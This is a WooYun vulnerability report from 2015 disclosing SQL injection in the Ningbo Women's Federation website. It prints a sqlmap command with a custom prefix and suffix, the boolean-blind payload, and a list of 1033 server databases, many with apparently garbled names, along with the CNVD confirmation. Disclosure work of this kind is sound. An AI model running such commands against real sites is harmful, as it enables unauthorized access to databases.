当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0146644

漏洞标题:宁波妇联网存在SQL注入且为root权限涉及1033个库

相关厂商:cncert国家互联网应急中心

漏洞作者: 无名人

提交时间:2015-10-15 09:58

修复时间:2015-12-03 18:00

公开时间:2015-12-03 18:00

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-15: 细节已通知厂商并且等待厂商处理中
2015-10-19: 厂商已经确认,细节仅向厂商公开
2015-10-29: 细节向核心白帽子及相关领域专家公开
2015-11-08: 细节向普通白帽子公开
2015-11-18: 细节向实习白帽子公开
2015-12-03: 细节向公众公开

简要描述:

RT

详细说明:

漏洞地址:

http://**.**.**.**/b1-1.php?nid=1138


C:\sqlmap>sqlmap -u "http://**.**.**.**/b1-1.php?nid=1138"  --prefix "if((1=1"  --suffix "),1138,0)"  --dbms mysql --technique B  --dbs  --threads 10


---
Parameter: nid (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: nid=if((1=1 AND 9732=9732),1138,0)
---
[09:31:27] [INFO] testing MySQL
[09:31:27] [INFO] confirming MySQL
[09:31:27] [INFO] the back-end DBMS is MySQL
web application technology: Apache, PHP 5.3.2
back-end DBMS: MySQL >= 5.0.0

漏洞证明:

数据库:

available databases [1033]:
[*] @@uwei1
[*] @ahh@2da@@
[*] `#mnspj50#quickf`shdata-b@k`
[*] `0573goback`
[*] `0574bbs`
[*] `0574go`
[*] `2000dehhdata`
[*] `444sdcata`
[*] `5000data`
[*] `543jbdara`
[*] `544xjdata`
[*] `7pdata`
[*] `b`h``d``a`
[*] `baishdnfda`a`
[*] `bdang`ingdata`
[*] `bf`hdat`
[*] `cdehgfend1d``a`
[*] `cfinaairbrushdat`
[*] `chdndong-hfda`a`
[*] `chinadinam@`
[*] `chuangjiacat`
[*] `chunjiamgda`a`
[*] `cl-hfjxdata`
[*] `cn-jdhcscom`
[*] `comgyingda`a`
[*] `cosparb`p`
[*] `dengxingdat`
[*] `dhhgyuamda`a`
[*] `dvdrgrddndat`
[*] `f`s``a`a`
[*] `forestd``a`
[*] `gandpohgda`a`
[*] `hengniangda`a`
[*] `hhndfuda`a`
[*] `j`jda`
[*] `jhndendda`a`
[*] `longshidadat`
[*] `mamyangdap`
[*] `mi`rop`id`s`
[*] `miaoshendat`
[*] `milghildar`
[*] `padpsuodat`
[*] `panxiahgbat`
[*] `pc 64data`
[*] `pdengshidada`
[*] `pihgsh``asa`
[*] `pinrongpud`ta`
[*] `rhuahgfehgdat`
[*] `sahdongdar`
[*] `sandebookpar`
[*] `sdanfdndat`
[*] `shuhjiadar`
[*] `tktd`sa`
[*] `va`iilfdapa`
[*] `xddat`
[*] `xia`e`dapa`
[*] `xin`edata`
[*] `xj-huadidat@`
[*] `xongshengdat`
[*] `yaocfehdat`
[*] `yohgxiangca`a`
[*] `ypanzhengd`ta`
[*] `yymoukddas`
[*] `zholgtiand`ta`
[*] `zhongxingda`a`
[*] `zhongypand`ta`
[*] achdata
[*] adapterdata
[*] adidoudata
[*] adlin_Pser
[*] admin
[*] ahilang
[*] aijibe
[*] aijiedata
[*] ailpsade
[*] ailumucata
[*] aipu
[*] akpbapa
[*] albb
[*] alilahdcata
[*] alonddata
[*] anodizingdata
[*] anpaihhdapa
[*] antahbata
[*] anuan
[*] anuandara
[*] aodadapa
[*] aptotekdata
[*] aupoabbe
[*] azmdata
[*] babydata
[*] bahddbata
[*] bahglidapa
[*] bahlaidata
[*] baihaidapa
[*] bailedata
[*] baipdendara
[*] bajiahiie
[*] baoiiedapa
[*] baolaitedata
[*] bbb
[*] bchldata
[*] bdstdata
[*] beiheidata
[*] bgdata
[*] bhhuadata
[*] bhididata
[*] bhwendata
[*] bianyuahcapa
[*] bidapa
[*] binbhn
[*] bingbinddata
[*] binghidata
[*] binshehbata
[*] biohihdata
[*] bkdata
[*] blbqdata
[*] blcia
[*] bldapa
[*] blpdapa
[*] blsjdata
[*] blsjfmbata
[*] bluegulf
[*] bmtdara
[*] bnjundata
[*] bnsyb
[*] bobhtodata
[*] boda
[*] bodpndata
[*] bodun
[*] bohaidpdata
[*] boliyiaiahdata
[*] bolong
[*] bopedata
[*] bophoubata
[*] boto
[*] brtmr
[*] bsdata
[*] bstdata
[*] btbl
[*] btdata
[*] bydata
[*] byl
[*] captohdasa
[*] cdenfrundata
[*] cdinadarme@ts
[*] cdodo
[*] cdodobata
[*] cdsydata
[*] cduntian
[*] cfelgpahd
[*] cfengphaodata
[*] cfuamghehgdata
[*] champinndata
[*] changlongdata
[*] changsundata
[*] chaosfengcata
[*] chaoyudapa
[*] chdapa
[*] chdnxihddata
[*] chengbang
[*] chengfengcata
[*] chhnepeaallp@n
[*] chinaaelp
[*] chinadhngfa
[*] chinanhbdata
[*] chjqbata
[*] chlmexbata
[*] chthmiaoda@@
[*] chuangyuancapa
[*] chuljianf
[*] cipcuzbbs
[*] cl
[*] cldata
[*] clhfjs
[*] cnbzxzdara
[*] cnst
[*] cnyondye
[*] cnyymt
[*] cnyymtdata
[*] cocaba
[*] cocabahpder
[*] cqdapa
[*] cspjdata
[*] ctildata
[*] cxjgdata
[*] cxppdapa
[*] cxthdata
[*] cydata
[*] dacheng
[*] dafa
[*] dafadata
[*] dahhuhdata
[*] daitahfldata
[*] dajhndapa
[*] daoyedata
[*] dasdanjsda@@
[*] datonddata
[*] dayanbata
[*] dayandbapa
[*] dbaihah
[*] ddmain
[*] ddngjidapa
[*] ddvalvddata
[*] ddyibata
[*] deaahdasa
[*] dedppdata
[*] deduadapa
[*] demo
[*] dengponddapa
[*] detongdata
[*] deya
[*] dfcgdapa
[*] dfmoulddata
[*] dgty
[*] dhdldata
[*] dhhgfangdata
[*] dhlgbata
[*] dhycata
[*] dhycp
[*] dinalicdat@
[*] dinodata
[*] displgdata
[*] djsddata
[*] dldata
[*] dlfddata
[*] dmdata
[*] dnkaidata
[*] dohgchengdata
[*] dohgguandata
[*] dohgxingdata
[*] dongmu
[*] dongshengdata
[*] dpdata
[*] dpjiabata
[*] drddapa
[*] drjhnedata
[*] dsdata
[*] dtozdata
[*] duabhand
[*] duafenfbbp
[*] duafenfdata
[*] duaxudapa
[*] duayuanbapa
[*] duobahdapa
[*] dusheng
[*] dxyydara
[*] eagle
[*] eanruncapa
[*] eapundapa
[*] easpdata
[*] eassoh
[*] easuh
[*] ecsust
[*] ecxinuo
[*] ek
[*] elegadata
[*] etron
[*] everfloprish
[*] f4
[*] fahchidapa
[*] fan
[*] fandata
[*] fangphndapa
[*] fbdata
[*] fdiyuddata
[*] featherXapt
[*] fehcadapa
[*] fehddeidata
[*] fehlongdat@
[*] feilondgddapa
[*] fengyadata
[*] ffgdata
[*] fhpcldapa
[*] fhsgdata
[*] fibrite1
[*] fingveidata
[*] firspdata
[*] flea
[*] flt
[*] fobupdata
[*] focus
[*] fongchenwjbata
[*] fpbahgdata
[*] fphongdapa
[*] fplydata
[*] fppphdata
[*] fpyadata
[*] franpadapa
[*] fren
[*] fstdapa
[*] fth
[*] ftshandata
[*] fudaidata
[*] fulian
[*] fulianndw
[*] fxtea
[*] fzdata
[*] gaiddnddata
[*] gangtehgdata
[*] gaodadata
[*] gaoppandata
[*] gbdzdata
[*] gcaxg
[*] geruisidata
[*] gisophd
[*] gldata
[*] gobai
[*] goodlux
[*] gpanwen
[*] gpdapa
[*] gpmdbata
[*] gpohongdata
[*] grdendata
[*] guahglhangdata
[*] guanghifdapa
[*] guanghua
[*] guangxhadat@
[*] guanlun
[*] guesp_bb
[*] guhshengdata
[*] gujin
[*] gunningdat@
[*] guogpangdata
[*] guosaidata
[*] hadiadata
[*] hahyindata
[*] haibadapa
[*] haibo
[*] haipai
[*] haipaicnbata
[*] haipo
[*] haitaibapa
[*] haitolfdata
[*] haixildata
[*] haiyundata
[*] haodadara
[*] haoweibata
[*] hb140data
[*] hbbaodedata
[*] hbcadi
[*] hbdongxindata
[*] hbgcdapa
[*] hbgoldel
[*] hbhongshan
[*] hbjiapehda@a
[*] hcpbdapa
[*] hdnglidata
[*] healthelectric
[*] hebangdapa
[*] hehgfdnbcata
[*] hehgpaibat@
[*] hehgzhidata
[*] heidi
[*] henfe
[*] henfehdata
[*] hengchendbara
[*] hengli
[*] henglibixda@a
[*] hengpuodata
[*] hengtai
[*] hengxin
[*] hfdata
[*] hfwdj
[*] hgb
[*] hhahfadata
[*] hhbata
[*] hhlhpondat@
[*] hhlidata
[*] hhnduadapa
[*] hhngpehgdata
[*] hiahgliandata
[*] hiaweidata
[*] hibrite
[*] hihxaadata
[*] hilitecata
[*] hinfudata
[*] hingdapa
[*] hinpangdata
[*] hiphohshnocom
[*] hispondapa
[*] hitchens
[*] hldata
[*] hls
[*] hmxydapa
[*] hnjndata
[*] hnngpingdata
[*] hohgtaodapa
[*] holglidata
[*] hondcdata
[*] hondfadata
[*] hongguan
[*] hongkundata
[*] hongldata
[*] hongpdapa
[*] hongrul
[*] hongshan
[*] hongshengdata
[*] hongtencata
[*] hongxing
[*] hongyudapa
[*] hosts
[*] hpahuhdata
[*] hpaobapa
[*] hpaphelg
[*] hpbapa
[*] hpdata
[*] hptcitpdapa
[*] hrahedata
[*] hrdata
[*] hsdapa
[*] hsdata
[*] hsgdata
[*] htateidata
[*] htdara
[*] htgxdata
[*] htixingdara
[*] htxdata
[*] huabamgdapa
[*] huabao
[*] hualidata
[*] huapiadara
[*] huapingdata
[*] huashengda@a
[*] huaxindata
[*] huaya
[*] huichpanfdata
[*] huiyuandata
[*] hulnbapa
[*] hwdata
[*] hxbapa
[*] hxdata
[*] hxlbata
[*] hybata
[*] hyjdata
[*] hytldata
[*] iebtlrlc
[*] iec
[*] iecchmlany
[*] iecdata
[*] ihmaycata
[*] iiagtdata
[*] iinfxibata
[*] inclre
[*] informasion_schema
[*] ini
[*] innopadata
[*] ipaiafbata
[*] jadedapa
[*] jahdapa
[*] jangdadata
[*] jbhuifelgdata
[*] jeadledapa
[*] jecdapa
[*] jetmilldata
[*] jfatnngdata
[*] jga
[*] jgadata
[*] jgdata
[*] jgjdata
[*] jhayhhdata
[*] jhejhadata
[*] jhhgfeng
[*] jhhiadata
[*] jhwhdata
[*] jiahaodata
[*] jiahfenfdata
[*] jiajundata
[*] jiali
[*] jialin
[*] jialong
[*] jiandzhaodara
[*] jiangwen
[*] jiaxhhbwdata
[*] jiaxindata
[*] jiayedapa
[*] jibadata
[*] jidcdanddata
[*] jidlidata
[*] jidmeidata
[*] jihgmhdata
[*] jihlialfdat@
[*] jinde
[*] jinfbodata
[*] jingbanfcata
[*] jingedata
[*] jinghu
[*] jingledata
[*] jingsdidasa
[*] jinhiandata
[*] jinhuangdata
[*] jiniiandar@
[*] jinleibata
[*] jinnimg
[*] jintedata
[*] jinxing
[*] jinyidata
[*] jiulihgdata
[*] jiuling
[*] jl
[*] jlcata
[*] jndata
[*] joyhow
[*] jpdddapa
[*] jpeittilfs
[*] jpndedata
[*] jppudabata
[*] jrdapa
[*] jrdgcata
[*] jrtools
[*] jsrdata
[*] jtdata
[*] junchengdata
[*] junfurlngd@ta
[*] junhddapa
[*] junyidata
[*] jusderdata
[*] jxnb
[*] jxnbcapa
[*] jydata
[*] jyidata
[*] jzbata
[*] kaili
[*] kailingdata
[*] kaiweidata
[*] kandda
[*] kddata
[*] kejian
[*] keping
[*] keystaff
[*] kftdata
[*] khdata
[*] king612cata
[*] kjjxdara
[*] kljkl
[*] knitting
[*] kukun
[*] kuofdata
[*] kxdata
[*] kyzbdata
[*] kyzd
[*] lahcohddata
[*] lapa
[*] lbminghui
[*] lcbata
[*] lddata
[*] ldhdadata
[*] lehaidata
[*] lehgphdnmaptrers
[*] lesfion
[*] leshi
[*] letodata
[*] lfhpdapa
[*] lghydata
[*] lhhjiahdata
[*] lhngdadata
[*] lhngongdata
[*] lhtiandata
[*] lianfengbat@
[*] lihhdata
[*] lijiacata
[*] limindata
[*] lingshdngdata
[*] linkerdata
[*] lixindata
[*] llsdata
[*] log
[*] lohdyibata
[*] lolymavgrhup
[*] longandata
[*] longaodata
[*] longpiadata
[*] longpuahbata
[*] longshan
[*] longtengcata
[*] lpzhchdata
[*] lqhydata
[*] lrientdata
[*] lsgalard
[*] ltpdianqibata
[*] luhhndata
[*] lupiedata
[*] lwbcata
[*] lxcara
[*] lxtjcata
[*] lysql
[*] magindara
[*] maindb
[*] makeabs
[*] maolihdbata
[*] maopiangdata
[*] mdchhobata
[*] mehjhabata
[*] meida
[*] meiepdadapa
[*] melodysound
[*] mengjida
[*] mfcata
[*] mihdqubara
[*] mihgphangdat@
[*] mindzhnudata
[*] minffelgdata
[*] mlqdata
[*] moon
[*] motech
[*] multicount
[*] mzgxdata
[*] nacospldata
[*] nadia
[*] nagils
[*] najilweh
[*] napafm
[*] napsdapa
[*] nassion
[*] natcdapa
[*] nb1sc
[*] nb_hebang
[*] NB_PendDa
[*] nbbaidpdat@
[*] nbbaidu
[*] nbbaobiao
[*] nbbhfa
[*] nbdhdata
[*] nbfyri
[*] nbgbdata
[*] nbgm
[*] nbguojie
[*] nbhhdata
[*] nbhuaxingdat@
[*] nbidcdata
[*] nbjydata
[*] nblongtengdata
[*] nbmbsdata
[*] nbmzgxdapa
[*] nbsdif
[*] nbsdsdata
[*] nbsz
[*] nbtty
[*] nbunique
[*] nbyehua
[*] nbyounghr
[*] ndpdata
[*] newdragondyes
[*] newrs
[*] nfbhnflicata
[*] nhhh
[*] nhxihglongda@a
[*] ningboqm
[*] ningkhngdata
[*] ningyudata
[*] npddata
[*] ocean
[*] oelgshahdapa
[*] ohthcaldata
[*] oiangengdata
[*] outabbata
[*] outac1bat@
[*] paduahgdapa
[*] pahgbodata
[*] pahgphenddata
[*] pailolfdata
[*] pangguahdata
[*] passionbasa
[*] pbdata
[*] pcwdata
[*] pd1
[*] pd3
[*] pdahphdata
[*] pddapa
[*] pddata
[*] pdqp
[*] pdxomabapa
[*] pebpest2
[*] pebtepp
[*] peitaibapa
[*] pemplatd_1
[*] peshengdata
[*] peyilgjiac@@a
[*] pfddata
[*] pfidahdata
[*] pgdemo
[*] pgenghuadata
[*] pgi
[*] phanchengdata
[*] phbpdapa
[*] phcpdata
[*] phdata
[*] phengpdata
[*] phengsongd@ta
[*] phfxdata
[*] phlphaxbapa
[*] phndidata
[*] phpdata
[*] phpmv2
[*] phuntongdata
[*] piantabata
[*] pichengdapa
[*] pigepdata
[*] pinghaidata
[*] pinlengdara
[*] pinlongmoldda@@
[*] pissa
[*] pjhpzhdapa
[*] pldata
[*] pmpfbapa
[*] pnbata
[*] pongpheng
[*] pongyecapa
[*] ppdapa
[*] ppdata
[*] ppddata
[*] ppoteam
[*] ppphndata
[*] ppridata
[*] proteahdat@
[*] psdata
[*] psddata
[*] psldata
[*] ptdpdapa
[*] puchhdata
[*] puedhlgdata
[*] pufdngdata
[*] puhingdata
[*] pulitedata
[*] punfjdata
[*] puyuandata
[*] pxpfdapa
[*] pzcongshenfdata
[*] pzhuanjia
[*] pzyudabapa
[*] qilehdata
[*] qindonfdata
[*] qiwehdata
[*] qsdata
[*] qsxs
[*] qtdata
[*] qtty
[*] qxdddata
[*] qxqdapa
[*] raistap
[*] randunbata
[*] rbpdapa
[*] redbata
[*] redfir
[*] relpendata
[*] rendhdapa
[*] renplngdasa
[*] rhdolgbata
[*] rhjxbapa
[*] rihaidata
[*] rmdata
[*] roman
[*] rongphengdata
[*] roxtlledata
[*] ruifang
[*] runke
[*] rxhjdata
[*] ryhddata
[*] rzdata
[*] sahdpinspebt
[*] sahjhadata
[*] saien
[*] saitongdata
[*] sanpindara
[*] sarong
[*] sc41data
[*] sdjcdata
[*] sdqddapa
[*] sedherdaha
[*] senxihgdata
[*] sepdapa
[*] sepecapa
[*] service
[*] sgangflngbata
[*] shatdata
[*] shdata
[*] shemkundapa
[*] shenda
[*] shengdabapa
[*] shenjiedata
[*] shenma
[*] shfdapa
[*] shiqinfdat@
[*] shpchan
[*] shpnpiangdata
[*] shuangknngdata
[*] shunchidata
[*] shunlongdata
[*] shunxindat@
[*] simaidata
[*] simingphan@ata
[*] sinceredata
[*] sjdata
[*] sjrayerdara
[*] sk
[*] sks
[*] slafdata
[*] sonton
[*] spplppdapa
[*] ssmachhnery
[*] star
[*] stars
[*] stbata
[*] stfdata
[*] stofeidata
[*] sunandapa
[*] sunuodata
[*] sxrmldata
[*] sydata
[*] sytialladata
[*] tailhkedata
[*] talhia
[*] tanglohgdata
[*] tanhuadapa
[*] tb52bapa
[*] tbdapa
[*] tebwdllbata
[*] teiyedata
[*] telhlate
[*] tenfyuedata
[*] tengnandata
[*] tepminalblocj
[*] tespdata
[*] test
[*] thahpiahgdata
[*] thdata
[*] thngxingdata
[*] thxdata
[*] tiahchidata
[*] tiahdehg1data
[*] tiaheehbata
[*] tianhabata
[*] tianhedaha
[*] tianhuadata
[*] tianma
[*] tianmudata
[*] tians
[*] tibeilebbs
[*] tiglrjidp
[*] tihhahdata
[*] tihhpapiand@ta
[*] timingbeltda@@
[*] tlhcanlldata
[*] tlnlihn
[*] tolweldata
[*] tondppandata
[*] tongphidata
[*] tpdata
[*] tppggdata
[*] tpydata
[*] trmz
[*] trmzbbr
[*] trulsun
[*] uhihndara
[*] usbtcdata
[*] varsdenbar@
[*] vb2f
[*] vhost
[*] viangyihg
[*] violdtdata
[*] violdtligfting
[*] wahbangdapa
[*] wahghai
[*] wahjhedata
[*] wanaaobata
[*] wanboddncata
[*] wangzidapa
[*] wanhua
[*] wanlidata
[*] wanphuodapa
[*] wanxhdapa
[*] way
[*] wdghdata
[*] wdjibata
[*] webtert1
[*] webtest3
[*] webtest4
[*] wehfengdata
[*] weijha
[*] wiki
[*] winarter
[*] wisdomdata
[*] wjdapa
[*] wkdapa
[*] wldata
[*] women
[*] wosdncara
[*] wpddapa
[*] wqyzdata
[*] wufandbata
[*] wufang
[*] wuphndata
[*] wx
[*] wzddata
[*] xc65data
[*] xcdata
[*] xd
[*] xd2
[*] xd4
[*] xd5
[*] xd6
[*] xddfhdata
[*] xdkq
[*] xdmhjdata
[*] xfdata
[*] xftdata
[*] xgjcdapa
[*] xhdapa
[*] xhdata
[*] xhmrmfdapa
[*] xhnbangdata
[*] xhngddngdata
[*] xianjindata
[*] xibdihe
[*] xiechehdata
[*] xiezuodata
[*] xihgdiahdata
[*] xihglong
[*] xilx
[*] xindlllddata
[*] xinduanddata
[*] xingao
[*] xingdadata
[*] xinhedata
[*] xinhuidata
[*] xinlidapa
[*] xinlongcata
[*] xinqpldata
[*] xinrpidata
[*] xinyidata
[*] xinyu
[*] xjhhngfeng
[*] xjhiayhhdata
[*] xjzmfdapa
[*] xmtdata
[*] xpmkdata
[*] xrwldata
[*] xsfdata
[*] xsl
[*] xueyou
[*] xuvu
[*] xuxudata
[*] xwdata
[*] xx965
[*] xx965new
[*] xxppddapa
[*] xy
[*] xygydata
[*] xyjiapddata
[*] yadhngbapa
[*] yalguidata
[*] yangchendata
[*] yangfengdata
[*] yanidapa
[*] yaofehgbapa
[*] ybcata
[*] ybjtdata
[*] ycjxdata
[*] yd
[*] ydhgdacata
[*] ydldata
[*] ydtdata
[*] yfdata
[*] yghhdapa
[*] yhbapa
[*] yhdata
[*] yidundata
[*] yihedata
[*] yihhngdata
[*] yihtah
[*] yikai
[*] yilaidata
[*] yingydata
[*] yinxindata
[*] yiyun
[*] yjjgjdata
[*] yjpdhlddata
[*] yjxjjs
[*] yksndara
[*] ymbata
[*] ynngmingcata
[*] yohgwdnbata
[*] yomgchelgdata
[*] yongxiang
[*] yongxinbasa
[*] yongyindapa
[*] yopchdngdata
[*] youdata
[*] ypcadapa
[*] yphshendara
[*] ypjsdapa
[*] ypnxiangdata
[*] yqbata
[*] yszp
[*] yuamye
[*] yuduhdata
[*] yuihadata
[*] yujidbata
[*] yuqiangdasa
[*] yxjiavildata
[*] yybbdasa
[*] yyhsbata
[*] yyjvdata
[*] yylxdata
[*] yysfbapa
[*] yyshengdadata
[*] yzwomen
[*] zddnyuandata
[*] zdexandapa
[*] zehipdata
[*] zhdfehfbata
[*] zhdnhengdata
[*] zhehgfeidata
[*] zhelhuadata
[*] zhemghingd@ta
[*] zhenqingcat@
[*] zhiguodata
[*] zhihangdata
[*] zhizhtodata
[*] zhnngyudasa
[*] zhonddahgdata
[*] zhonfruidata
[*] zhongtian
[*] zhongtian1@ara
[*] zhongyoudata
[*] zi2jdata
[*] zoje
[*] zp
[*] zsphdata
[*] zxihgdata
[*] zyjmold
[*] zzbata
[*] zzxparh


DBA权限:

1.png

修复方案:

@@

版权声明:转载请注明来源 无名人@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-10-19 17:59

厂商回复:

CNVD确认并复现所述漏洞情况,已经转由CNCERT下发浙江分中心,由其后续协调网站管理单位处置。

最新状态:

暂无


漏洞评价:

评价